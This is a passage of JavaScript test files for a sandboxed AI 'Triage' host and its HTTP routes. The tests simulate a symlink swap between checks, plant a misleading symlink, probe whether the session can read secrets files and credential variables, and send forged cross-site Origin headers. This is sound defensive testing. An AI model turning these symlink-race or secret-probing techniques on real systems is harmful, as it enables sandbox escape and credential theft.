const harnessModule = async (name) => (name === "fake" ? { envNames: DECLARED, installRoots: () => { checked = true; return [join(root, "install")]; } } : null);
|
||||
// The run id in session.json reads the clock after the first check: the adapter becomes a link
|
||||
// out of the install root then, so only hostedBinds' own check can see it.
|
||||
const now = () => {
|
||||
if (checked && !swapped) {
|
||||
swapped = true;
|
||||
rmSync(join(root, "install", "adapter.sh"));
|
||||
symlinkSync(join(root, "outside.sh"), join(root, "install", "adapter.sh"));
|
||||
}
|
||||
return new Date("2026-11-16T12:00:00.000Z");
|
||||
};
|
||||
const route = { admit: async () => answer(root) };
|
||||
const { h, dataRoot } = host(t, root, { route, bwrap: spy(root), log: (l) => logs.push(l), harnessModule, now });
|
||||
const agent = join(dataRoot, "triage", "agent");
|
||||
await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid" && e.message === "the model route's answer is not usable");
|
||||
assert.ok(swapped, "the swap happened between the checks");
|
||||
assert.ok(logs.includes("triage host: route refused at the binds: adapter"), logs.join(" | "));
|
||||
assert.equal(existsSync(join(root, "spawned")), false);
|
||||
assert.equal(h.running, false);
|
||||
for (const f of ["session.json", "relay.sock", "bundle"]) assert.equal(existsSync(join(agent, f)), false, f);
|
||||
const [owner, note, ...rest] = (await h.state()).transcript;
|
||||
assert.deepEqual([owner.from, note.from, note.in_reply_to, note.text, rest.length], ["owner", "host", owner.id, ROUTE_REFUSED, 0]);
|
||||
rmSync(join(root, "install", "adapter.sh"));
|
||||
writeFileSync(join(root, "install", "adapter.sh"), "exit 0\n");
|
||||
await h.message("again");
|
||||
await waitFor(() => existsSync(join(root, "spawned")));
|
||||
});
|
||||
|
||||
test("a read and a message that arrive together share one snapshot read", async (t) => {
|
||||
let reads = 0, release;
|
||||
const gate = new Promise((r) => { release = r; });
|
||||
const { h } = host(t, scratch(), { readSnapshot: async () => { reads++; await gate; return SNAPSHOT; } });
|
||||
const both = Promise.all([h.refresh(), h.refresh()]);
|
||||
release();
|
||||
const [a, b] = await both;
|
||||
assert.equal(reads, 1);
|
||||
assert.equal(a, b);
|
||||
await h.refresh();
|
||||
assert.equal(reads, 2, "a later refresh reads again");
|
||||
});
|
||||
|
||||
test("a Triage directory that is a link is refused", async (t) => {
|
||||
const root = scratch();
|
||||
const dataRoot = join(root, "data");
|
||||
mkdirSync(join(root, "elsewhere"), { recursive: true });
|
||||
mkdirSync(dataRoot);
|
||||
symlinkSync(join(root, "elsewhere"), join(dataRoot, "triage"));
|
||||
const route = { admit: async () => ({ ok: true }) };
|
||||
const { h } = host(t, root, { route });
|
||||
await assert.rejects(h.message("hello"), (e) => e.code === "triage-dir-unsafe");
|
||||
assert.deepEqual(readdirSync(join(root, "elsewhere")), []);
|
||||
});
|
||||
|
||||
async function waitFor(fn, ms = 30000) {
|
||||
const end = Date.now() + ms;
|
||||
while (Date.now() < end) {
|
||||
const v = await fn();
|
||||
if (v) return v;
|
||||
await new Promise((r) => setTimeout(r, 50));
|
||||
}
|
||||
throw new Error("timed out");
|
||||
}
|
||||
|
||||
test("end to end under the sandbox: the first message starts the session, which sees only its two directories and answers into the transcript", { skip, timeout: 120000 }, async (t) => {
|
||||
const root = scratch();
|
||||
const dataRoot = join(root, "data");
|
||||
// What the session must not see: an org root, a config, a secrets file, the host's transcript.
|
||||
mkdirSync(join(dataRoot, "orgs", "alpha"), { recursive: true });
|
||||
writeFileSync(join(dataRoot, "orgs", "alpha", "org.json"), "{}");
|
||||
mkdirSync(join(root, "config"));
|
||||
writeFileSync(join(root, "config", "config.json"), "{}");
|
||||
mkdirSync(join(root, "secrets"));
|
||||
writeFileSync(join(root, "secrets", "token"), "secret");
|
||||
// A link left where the host makes its work directory must not steer the bind.
|
||||
mkdirSync(join(dataRoot, "triage", "agent"), { recursive: true, mode: 0o700 });
|
||||
symlinkSync(join(dataRoot, "orgs"), join(dataRoot, "triage", "agent", "work"));
|
||||
mkdirSync(join(root, "install"));
|
||||
const adapter = join(root, "install", "adapter.sh");
|
||||
writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 });
|
||||
const probe = [
|
||||
join(dataRoot, "orgs", "alpha", "org.json"), join(root, "config", "config.json"), join(root, "secrets", "token"),
|
||||
join(dataRoot, "triage", "host", "transcript.jsonl"), join(dataRoot, "triage", "host"),
|
||||
join(dataRoot, "triage", "health", "snapshot.json"), join(dataRoot, "triage", "agent", "work", "health", "snapshot.json"),
|
||||
];
|
||||
let admits = 0;
|
||||
const route = { admit: async () => { admits += 1; return { ok: true, adapter, harness: "fake", harnessEnv: { TRIAGE_PROBE: JSON.stringify(probe) }, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" } }; } };
|
||||
const { h } = host(t, root, { route });
|
||||
assert.equal(h.running, false, "nothing starts before the owner's first message");
|
||||
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
|
||||
|
||||
const replies = async (n) => waitFor(async () => {
|
||||
const list = (await h.state()).transcript.filter((e) => e.from === "triage");
|
||||
return list.length >= n ? list : null;
|
||||
});
|
||||
|
||||
await h.message("PROBE");
|
||||
assert.equal(h.running, true);
|
||||
const probed = JSON.parse((await replies(1))[0].text.replace(/\n\n.*$/s, ""));
|
||||
const allowed = new Set([
|
||||
"PATH", "LANG", "TZ", "HOME", "TMPDIR", "ANTHROPIC_BASE_URL", "TRIAGE_PROBE", "PWD", "SHLVL", "_", "OLDPWD",
|
||||
"MOSAIC_REQUEST", "MOSAIC_SYSTEM_PROMPT_FILE", "MOSAIC_WORKSPACE", "MOSAIC_SESSION_DIR", "MOSAIC_POLICY_FILE", "MOSAIC_TOOLS_FILE",
|
||||
"MOSAIC_TOOL_SOCKET", "MOSAIC_TURN_MARKER", "MOSAIC_PROVIDER", "MOSAIC_MODEL", "MOSAIC_MODEL_ACTIVITY_DIR", "MOSAIC_UNSLOP_LOG",
|
||||
]);
|
||||
for (const name of probed.env) assert.ok(allowed.has(name), `the session's environment holds ${name}`);
|
||||
for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "ANTHROPIC_API_KEY", "OTHER", "MOSAIC_DATA_ROOT"]) assert.ok(!probed.env.includes(name), name);
|
||||
assert.deepEqual(probed.seen, Object.fromEntries(probe.map((p) => [p, p.endsWith(join("work", "health", "snapshot.json"))])));
|
||||
assert.equal(probed.snapshot, 1);
|
||||
assert.equal(probed.writeHealth, "EROFS");
|
||||
assert.equal(probed.writeBundle, "EROFS");
|
||||
assert.equal(probed.writeWork, "written");
|
||||
assert.deepEqual(readdirSync(join(dataRoot, "orgs")), ["alpha"], "the planted link's target is untouched");
|
||||
assert.equal(lstatSync(join(dataRoot, "triage", "agent", "work")).isDirectory(), true);
|
||||
assert.deepEqual(readdirSync(join(dataRoot, "triage", "health")), ["snapshot.json"]);
|
||||
|
||||
await h.message("CARDS");
|
||||
const cards = (await replies(2))[1];
|
||||
assert.deepEqual(cards.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }]);
|
||||
assert.equal(cards.dropped, 1);
|
||||
assert.match(cards.text, /^The alpha bus is stopped\./);
|
||||
|
||||
await h.message("TOOL chief");
|
||||
assert.match((await replies(3))[2].text, new RegExp(RELAY_REFUSED));
|
||||
await h.message("TOOL human");
|
||||
const last = await replies(5);
|
||||
const texts = last.slice(3).map((e) => e.text);
|
||||
assert.ok(texts.includes("from the tool"), "the session's own send to the person reaches the transcript");
|
||||
assert.ok(texts.some((x) => /"ok":true/.test(x)), "and the tool call was answered");
|
||||
assert.equal(admits, 4, "each message is admitted by the route");
|
||||
|
||||
const tr = join(dataRoot, "triage", "host", "transcript.jsonl");
|
||||
assert.equal(lstatSync(tr).mode & 0o777, 0o600);
|
||||
for (const d of ["", "health", "agent", "host"]) assert.equal(lstatSync(join(dataRoot, "triage", d)).mode & 0o777, 0o700, d);
|
||||
const owner = readFileSync(tr, "utf8").trim().split("\n").map((l) => JSON.parse(l)).filter((e) => e.from === "owner").map((e) => e.text);
|
||||
assert.deepEqual(owner, ["PROBE", "CARDS", "TOOL chief", "TOOL human"]);
|
||||
const tools = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "tools.json"), "utf8"));
|
||||
assert.deepEqual(tools.map((x) => x.name), ["send_message"]);
|
||||
const policy = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "policy.json"), "utf8"));
|
||||
assert.deepEqual([policy.tools, policy.typed, policy.network, policy.needs, policy.credentials], [["read", "grep", "find", "ls"], ["send_message"], "none", [], []]);
|
||||
|
||||
await h.stop();
|
||||
assert.equal(h.running, false);
|
||||
assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false);
|
||||
});
|
||||
|
||||
// A route answer that runs the stub adapter under the sandbox.
|
||||
function stubRoute(root) {
|
||||
mkdirSync(join(root, "install"), { recursive: true });
|
||||
const adapter = join(root, "install", "adapter.sh");
|
||||
writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 });
|
||||
return { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" } }) };
|
||||
}
|
||||
const repliesOf = (h, n, from = "triage") => waitFor(async () => {
|
||||
const list = (await h.state()).transcript.filter((e) => e.from === from);
|
||||
return list.length >= n ? list : null;
|
||||
});
|
||||
|
||||
test("a second start on the same data root answers too: the last run's turns do not stop the next", { skip, timeout: 120000 }, async (t) => {
|
||||
const root = scratch();
|
||||
const route = stubRoute(root);
|
||||
const first = host(t, root, { route }).h;
|
||||
const one = await first.message("one");
|
||||
assert.deepEqual((await repliesOf(first, 1)).map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id]]);
|
||||
await first.stop();
|
||||
assert.equal(first.running, false);
|
||||
const { h: second, dataRoot } = host(t, root, { route });
|
||||
const two = await second.message("two");
|
||||
const list = await repliesOf(second, 2);
|
||||
assert.deepEqual(list.map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id], ["echo: two", two.id]]);
|
||||
assert.equal((await second.state()).transcript.filter((e) => e.from === "host").length, 0);
|
||||
assert.equal(existsSync(join(dataRoot, "triage", "agent", "turns")), true);
|
||||
});
|
||||
|
||||
test("a session that ends mid-turn: the message it took is answered by the host, leaves the queue, and the next message is answered", { skip, timeout: 120000 }, async (t) => {
|
||||
const root = scratch();
|
||||
const { h, dataRoot } = host(t, root, { route: stubRoute(root) });
|
||||
const slept = await h.message("SLEEP");
|
||||
// The turn has started once the runner made its turns directory.
|
||||
await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } });
|
||||
const pid = h.pid;
|
||||
assert.ok(Number.isInteger(pid));
|
||||
process.kill(-pid, "SIGKILL");
|
||||
const [note] = await repliesOf(h, 1, "host");
|
||||
assert.deepEqual([note.in_reply_to, note.text], [slept.id, UNANSWERED]);
|
||||
await waitFor(() => !h.running);
|
||||
assert.equal((await h.state()).lastExit.signal, "SIGKILL");
|
||||
const next = await h.message("after");
|
||||
const [reply] = await repliesOf(h, 1);
|
||||
assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["echo: after", next.id]);
|
||||
assert.equal((await h.state()).transcript.filter((e) => e.from === "host").length, 1, "the killed message is answered once and not taken again");
|
||||
});
|
||||
|
||||
test("a launcher that cannot run is a failed start: the message is not delivered, nothing reports running, and the next message is refused the same way", async (t) => {
|
||||
const root = scratch();
|
||||
const route = { admit: async () => answer(root) };
|
||||
const { h, dataRoot } = host(t, root, { route, bwrap: join(root, "no-such-launcher") });
|
||||
for (const text of ["one", "two"]) {
|
||||
await assert.rejects(h.message(text), (e) => e.code === "triage-start-failed", text);
|
||||
assert.equal(h.running, false, text);
|
||||
}
|
||||
const lines = (await h.state()).transcript.map((e) => [e.from, e.text]);
|
||||
assert.deepEqual(lines, [["owner", "one"], ["host", NOT_STARTED], ["owner", "two"], ["host", NOT_STARTED]]);
|
||||
assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false);
|
||||
});
|
||||
|
||||
test("a reply that names its message answers it: a session killed after replying leaves no unanswered line", { skip, timeout: 120000 }, async (t) => {
|
||||
const root = scratch();
|
||||
const { h } = host(t, root, { route: stubRoute(root) });
|
||||
const sent = await h.message("REPLY-SLEEP");
|
||||
const [reply] = await repliesOf(h, 1);
|
||||
assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["answered early", sent.id]);
|
||||
process.kill(-h.pid, "SIGKILL");
|
||||
await waitFor(() => !h.running);
|
||||
assert.deepEqual((await h.state()).transcript.filter((e) => e.from === "host"), []);
|
||||
});
|
||||
|
||||
test("a message the session never read gets a host line when it ends and leaves the queue", { skip, timeout: 120000 }, async (t) => {
|
||||
const root = scratch();
|
||||
const { h, dataRoot } = host(t, root, { route: stubRoute(root) });
|
||||
const slept = await h.message("SLEEP");
|
||||
await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } });
|
||||
// The runner takes one message per turn and is held in SLEEP, so this one is queued and never taken.
|
||||
const waiting = await h.message("waiting");
|
||||
process.kill(-h.pid, "SIGKILL");
|
||||
await waitFor(() => !h.running);
|
||||
const notes = (await repliesOf(h, 2, "host")).map((e) => [e.in_reply_to, e.text]).sort((a, b) => a[1].localeCompare(b[1]));
|
||||
assert.deepEqual(notes, [[waiting.id, NOT_TAKEN], [slept.id, UNANSWERED]].sort((a, b) => a[1].localeCompare(b[1])));
|
||||
});
|
||||
|
||||
test("with devOwner set, a card's bus start carries the dev-owner flag", { skip, timeout: 120000 }, async (t) => {
|
||||
const root = scratch();
|
||||
const { h } = host(t, root, { route: stubRoute(root), devOwner: true });
|
||||
await h.message("CARDS");
|
||||
const [reply] = await repliesOf(h, 1);
|
||||
assert.deepEqual(reply.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --dev-local-owner --detach" }]);
|
||||
});
|
||||
@@ -0,0 +1,262 @@
|
||||
// #1873 triage-host: the Triage routes over the real HTTP boundary. Only the instance owner's own
|
||||
// session reaches them; every other caller gets exactly what an unknown route gives that caller.
|
||||
// The write also needs --send and the same-origin checks. No body, path or exception text leaves.
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { request } from 'node:http';
|
||||
import { mkdtempSync, existsSync, readFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { startServer } from '../src/serve.mjs';
|
||||
import { createDevOwner } from '../src/dev-owner.mjs';
|
||||
import { consoleAccess } from '../src/access.mjs';
|
||||
import { createSsoSession } from './helpers/sso-session.mjs';
|
||||
import { NO_ROUTE_MESSAGE, capMessage, triageView, triageHTTP, SNAPSHOT_MAX_AGE_MS } from '../src/triage-http.mjs';
|
||||
import { createTriageHost, TriageError } from '../src/triage-host.mjs';
|
||||
|
||||
const LEAK = '/home/owner/.config/mosaic-dev/secret-token-0123456789';
|
||||
|
||||
function fakeTriage({ message } = {}) {
|
||||
const calls = [];
|
||||
return {
|
||||
calls,
|
||||
snapshotAt: () => null,
|
||||
refresh: async () => { calls.push(['refresh']); return null; },
|
||||
state: async () => ({ route: 'set', running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }] }),
|
||||
message: async text => { calls.push(['message', text]); return message ? message(text) : { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }; },
|
||||
};
|
||||
}
|
||||
|
||||
const send = (port, path, { method = 'GET', headers = {}, body } = {}) => new Promise((resolve, reject) => {
|
||||
const req = request({ host: '127.0.0.1', port, path, method, headers }, res => {
|
||||
let text = ''; res.on('data', c => { text += c; }); res.on('end', () => resolve({ status: res.statusCode, text, json: (() => { try { return JSON.parse(text); } catch { return null; } })() }));
|
||||
});
|
||||
req.on('error', reject); req.end(body === undefined ? undefined : typeof body === 'string' ? body : JSON.stringify(body));
|
||||
});
|
||||
|
||||
async function devServer(t, options = {}) {
|
||||
const logs = [];
|
||||
const s = await startServer({ port: 0, board: 'http://127.0.0.1:9', sso: createDevOwner(), send: async () => ({}), log: line => logs.push(line), ...options });
|
||||
t.after(() => new Promise(r => s.close(r)));
|
||||
const port = s.address().port;
|
||||
const headers = { host: `127.0.0.1:${port}`, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
|
||||
return { port, logs, headers };
|
||||
}
|
||||
|
||||
// The same request on an unknown path next to the Triage one: status and body must match.
|
||||
async function sameAsUnknown(port, path, method, headers, body, label) {
|
||||
const unknown = path.replace('/api/triage', '/api/triagz');
|
||||
const [a, b] = [await send(port, path, { method, headers, body }), await send(port, unknown, { method, headers, body })];
|
||||
assert.equal(a.status, b.status, `${label} ${method} ${path}: status`);
|
||||
assert.equal(a.text, b.text, `${label} ${method} ${path}: body`);
|
||||
}
|
||||
const EVERY = [['/api/triage', 'GET'], ['/api/triage', 'POST'], ['/api/triage/message', 'GET'], ['/api/triage/message', 'POST']];
|
||||
|
||||
test('the dev local owner reads the drawer state and sends a message; the config names the drawer', async t => {
|
||||
const triage = fakeTriage();
|
||||
const f = await devServer(t, { triage });
|
||||
const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
|
||||
assert.equal(read.status, 200);
|
||||
assert.deepEqual(read.json, { route: 'set', overCapUntil: null, running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }], send: true });
|
||||
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'why is alpha down?' } });
|
||||
assert.equal(sent.status, 202);
|
||||
assert.deepEqual(sent.json, { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' });
|
||||
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), [['message', 'why is alpha down?']]);
|
||||
const config = await send(f.port, '/api/config', { headers: { host: f.headers.host } });
|
||||
assert.equal(config.json.triage, true);
|
||||
assert.equal(config.json.triageSend, true);
|
||||
assert.equal(f.logs.join('\n').includes('why is alpha down'), false, 'no message text in a log line');
|
||||
for (const line of f.logs.filter(l => l.includes('/api/triage'))) assert.match(line, /^\S+ (GET|POST) \/api\/triage(\/message)? \d{3}$/);
|
||||
// A wrong method on either route.
|
||||
assert.equal((await send(f.port, '/api/triage', { method: 'POST', headers: f.headers, body: {} })).status, 405);
|
||||
assert.equal((await send(f.port, '/api/triage/message', { headers: { host: f.headers.host } })).status, 405);
|
||||
});
|
||||
|
||||
test('the write is refused without --send, from a foreign Origin, and without same-origin Fetch Metadata', async t => {
|
||||
const triage = fakeTriage();
|
||||
const readOnly = await devServer(t, { triage, send: null });
|
||||
const r = await send(readOnly.port, '/api/triage/message', { method: 'POST', headers: readOnly.headers, body: { text: 'hi' } });
|
||||
assert.equal(r.status, 403); assert.deepEqual(r.json, { error: 'read-only' });
|
||||
assert.equal((await send(readOnly.port, '/api/triage', { headers: { host: readOnly.headers.host } })).json.send, false);
|
||||
assert.equal((await send(readOnly.port, '/api/config', { headers: { host: readOnly.headers.host } })).json.triageSend, false);
|
||||
const f = await devServer(t, { triage });
|
||||
assert.equal((await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, origin: 'http://evil.example' }, body: { text: 'hi' } })).status, 403);
|
||||
const crossSite = await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, 'sec-fetch-site': 'cross-site' }, body: { text: 'hi' } });
|
||||
assert.deepEqual([crossSite.status, crossSite.json], [403, { error: 'cross-site request refused' }]);
|
||||
const noMeta = { ...f.headers }; delete noMeta['sec-fetch-site'];
|
||||
const missing = await send(f.port, '/api/triage/message', { method: 'POST', headers: noMeta, body: { text: 'hi' } });
|
||||
assert.deepEqual([missing.status, missing.json], [403, { error: 'cross-site request refused' }]);
|
||||
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []);
|
||||
});
|
||||
|
||||
test('a malformed body is refused before the host sees it; the host refusals map to fixed answers with no leaked text', async t => {
|
||||
let next = null;
|
||||
const triage = fakeTriage({ message: () => { throw next; } });
|
||||
const f = await devServer(t, { triage });
|
||||
const post = (body, headers = f.headers) => send(f.port, '/api/triage/message', { method: 'POST', headers, body });
|
||||
for (const body of [{ text: 'hi', extra: 1 }, { text: 5 }, {}, [], '{"text":', `{"text":"${'x'.repeat(17000)}"}`])
|
||||
assert.deepEqual((await post(body)).json, { error: 'invalid-request', message: 'the request is not a Triage message' }, JSON.stringify(body).slice(0, 40));
|
||||
assert.equal((await post({ text: 'hi' }, { ...f.headers, 'content-type': 'text/plain' })).status, 400);
|
||||
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []);
|
||||
next = Object.assign(new TriageError('triage-over-cap', LEAK), { until: '2026-11-17T00:00:00.000Z' });
|
||||
const cap = await post({ text: 'hi' });
|
||||
assert.deepEqual([cap.status, cap.json], [429, { error: 'triage-over-cap', message: 'Triage is over its daily token cap and starts again after the time shown', until: '2026-11-17T00:00:00.000Z' }]);
|
||||
next = new TriageError('triage-no-route', LEAK);
|
||||
const none = await post({ text: 'hi' });
|
||||
assert.deepEqual([none.status, none.json], [409, { error: 'triage-no-route', message: NO_ROUTE_MESSAGE }]);
|
||||
next = new TriageError('triage-message-too-long', LEAK);
|
||||
assert.equal((await post({ text: 'hi' })).status, 400);
|
||||
next = new TriageError('triage-busy', LEAK);
|
||||
assert.equal((await post({ text: 'hi' })).status, 429);
|
||||
next = Object.assign(new Error(LEAK), { code: 'EACCES' });
|
||||
const odd = await post({ text: 'hi' });
|
||||
assert.deepEqual([odd.status, odd.json], [503, { error: 'outcome-unknown', message: 'Triage did not answer' }]);
|
||||
for (const r of [cap, none, odd]) assert.equal(r.text.includes('/home/'), false);
|
||||
assert.equal(f.logs.join('\n').includes('/home/'), false);
|
||||
});
|
||||
|
||||
test('a signed-out caller and a granted user get the unknown-route answer on both routes', async t => {
|
||||
const access = { accessVersion: 1, revision: 1,
|
||||
users: [{ id: 'alice', home: 'local', subjects: [{ provider: 'writer', sub: 'alice-sub' }] }],
|
||||
grants: [{ id: 'g-1', user: 'alice', business: 'demo', projects: ['*'], instances: ['*'], level: 'collaborator' }] };
|
||||
const auth = await createSsoSession(t, { host: 'console.example', users: consoleAccess({ load: () => access, business: () => 'demo' }) });
|
||||
const triage = fakeTriage();
|
||||
const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, userOptions: () => ({}), log: () => {} });
|
||||
t.after(() => new Promise(r => s.close(r)));
|
||||
const port = s.address().port;
|
||||
const owner = auth.writeHeaders(await auth.signIn(port));
|
||||
assert.equal((await send(port, '/api/triage', { headers: owner })).status, 200, 'the SSO root owner reaches the read');
|
||||
assert.equal((await send(port, '/api/triage/message', { method: 'POST', headers: owner, body: { text: 'hi' } })).status, 202, 'and the write');
|
||||
const before = triage.calls.length;
|
||||
const signedOut = auth.writeHeaders(null);
|
||||
const alice = auth.writeHeaders(await auth.signIn(port, { sub: 'alice-sub' }));
|
||||
for (const [path, method] of EVERY) {
|
||||
await sameAsUnknown(port, path, method, signedOut, method === 'POST' ? { text: 'hi' } : undefined, 'signed out');
|
||||
await sameAsUnknown(port, path, method, alice, method === 'POST' ? { text: 'hi' } : undefined, 'granted user');
|
||||
}
|
||||
assert.equal((await send(port, '/api/triage', { headers: signedOut })).status, 401);
|
||||
assert.equal(Object.hasOwn((await send(port, '/api/config', { headers: alice })).json, 'triage'), false);
|
||||
assert.equal(triage.calls.length, before, 'the host saw nothing from them');
|
||||
});
|
||||
|
||||
test('on an organizations Console the instance owner reaches both routes; a member, a signed-out caller and an org-selected path get the unknown answer', async t => {
|
||||
const triage = fakeTriage();
|
||||
const organizations = { list: async () => [], resolve: async id => (id === 'x' ? { busHealthy: true } : null) };
|
||||
const owner = await devServer(t, { triage, organizations });
|
||||
const read = await send(owner.port, '/api/triage', { headers: { host: owner.headers.host } });
|
||||
assert.equal(read.status, 200, 'the owner reads');
|
||||
assert.equal(read.json.route, 'set');
|
||||
assert.equal((await send(owner.port, '/api/triage/message', { method: 'POST', headers: owner.headers, body: { text: 'hi' } })).status, 202, 'and writes');
|
||||
assert.equal((await send(owner.port, '/api/config', { headers: { host: owner.headers.host } })).json.triage, true);
|
||||
const seen = triage.calls.length;
|
||||
// With an organization selected the paths are that organization's, and Triage is in none.
|
||||
for (const [path, method] of EVERY) {
|
||||
const orgPath = path.replace('/api/', '/api/orgs/x/');
|
||||
await sameAsUnknown(owner.port, orgPath, method, owner.headers, method === 'POST' ? { text: 'hi' } : undefined, 'org selected');
|
||||
}
|
||||
const member = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } });
|
||||
const signedOut = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => null } });
|
||||
for (const [label, f] of [['member', member], ['signed out', signedOut]]) {
|
||||
for (const [path, method] of EVERY) await sameAsUnknown(f.port, path, method, f.headers, method === 'POST' ? { text: 'hi' } : undefined, label);
|
||||
}
|
||||
assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false);
|
||||
assert.equal(triage.calls.length, seen, 'the host saw nothing from them');
|
||||
});
|
||||
|
||||
test('without organizations a member session gets the unknown answer and no drawer in the config', async t => {
|
||||
const triage = fakeTriage();
|
||||
const member = await devServer(t, { triage, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } });
|
||||
for (const [path, method] of EVERY) await sameAsUnknown(member.port, path, method, member.headers, method === 'POST' ? { text: 'hi' } : undefined, 'member');
|
||||
assert.equal((await send(member.port, '/api/triage', { headers: { host: member.headers.host } })).status, 404);
|
||||
assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false);
|
||||
assert.deepEqual(triage.calls, []);
|
||||
});
|
||||
|
||||
test('without a host, on a loopback Host under --sso, and on the tester listener the routes are unknown', async t => {
|
||||
const none = await devServer(t);
|
||||
for (const [path, method] of EVERY) await sameAsUnknown(none.port, path, method, none.headers, method === 'POST' ? { text: 'hi' } : undefined, 'no host');
|
||||
assert.equal(Object.hasOwn((await send(none.port, '/api/config', { headers: { host: none.headers.host } })).json, 'triage'), false);
|
||||
const auth = await createSsoSession(t, { host: 'console.example' });
|
||||
const triage = fakeTriage();
|
||||
const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, log: () => {} });
|
||||
t.after(() => new Promise(r => s.close(r)));
|
||||
const port = s.address().port;
|
||||
const cookie = await auth.signIn(port);
|
||||
const loop = { host: `127.0.0.1:${port}`, cookie, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
|
||||
for (const [path, method] of EVERY) await sameAsUnknown(port, path, method, loop, method === 'POST' ? { text: 'hi' } : undefined, 'loopback Host');
|
||||
const { startTesterSocket } = await import('../src/tester-socket.mjs');
|
||||
const { testerRequest } = await import('../../cli/src/tester-http.mjs');
|
||||
const root = mkdtempSync(join(process.env.TMPDIR, 'th-'));
|
||||
const ts = await startTesterSocket({ dataRoot: root, triage, log: () => {} });
|
||||
t.after(() => new Promise(r => ts.close(r)));
|
||||
for (const [path, method] of EVERY) {
|
||||
const body = method === 'POST' ? { text: 'hi' } : undefined;
|
||||
const a = await testerRequest({ dataRoot: root, path, method, body });
|
||||
const b = await testerRequest({ dataRoot: root, path: path.replace('/api/triage', '/api/triagz'), method, body });
|
||||
assert.equal(a.status, b.status, `tester ${method} ${path}`);
|
||||
}
|
||||
assert.deepEqual(triage.calls, []);
|
||||
});
|
||||
|
||||
test('the read refreshes a missing or stale snapshot and keeps a fresh one', async () => {
|
||||
let at = null, clock = 1_000_000;
|
||||
const calls = [];
|
||||
const triage = { snapshotAt: () => at, refresh: async () => { calls.push(clock); at = clock; }, state: async () => ({ route: 'not set', running: false, lastExit: null, snapshot: null, transcript: [] }) };
|
||||
const view = await triageView(triage, { send: true, now: () => clock });
|
||||
assert.deepEqual(view, { route: 'not set', routeMessage: NO_ROUTE_MESSAGE, overCapUntil: null, running: false, lastExit: null, snapshot: null, transcript: [], send: true });
|
||||
clock += SNAPSHOT_MAX_AGE_MS - 1; await triageView(triage, { now: () => clock });
|
||||
clock += 2; await triageView(triage, { now: () => clock });
|
||||
assert.deepEqual(calls, [1_000_000, 1_000_000 + SNAPSHOT_MAX_AGE_MS + 1]);
|
||||
});
|
||||
|
||||
test('over the cap: the read names the time in plain words and the write answers 429 with it', async t => {
|
||||
const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data');
|
||||
const route = { admit: async () => ({ ok: false, code: 'triage-over-cap', until: '2026-11-17T00:00:00.000Z' }) };
|
||||
const host = createTriageHost({ dataRoot, route, readSnapshot: async () => null, now: () => new Date('2026-11-16T20:00:00.000Z'), bwrap: '/nonexistent/bwrap' });
|
||||
const f = await devServer(t, { triage: host });
|
||||
const before = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
|
||||
assert.deepEqual([before.json.route, before.json.overCapUntil, Object.hasOwn(before.json, 'capMessage')], ['set', null, false]);
|
||||
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } });
|
||||
assert.deepEqual([sent.status, sent.json.error, sent.json.until], [429, 'triage-over-cap', '2026-11-17T00:00:00.000Z']);
|
||||
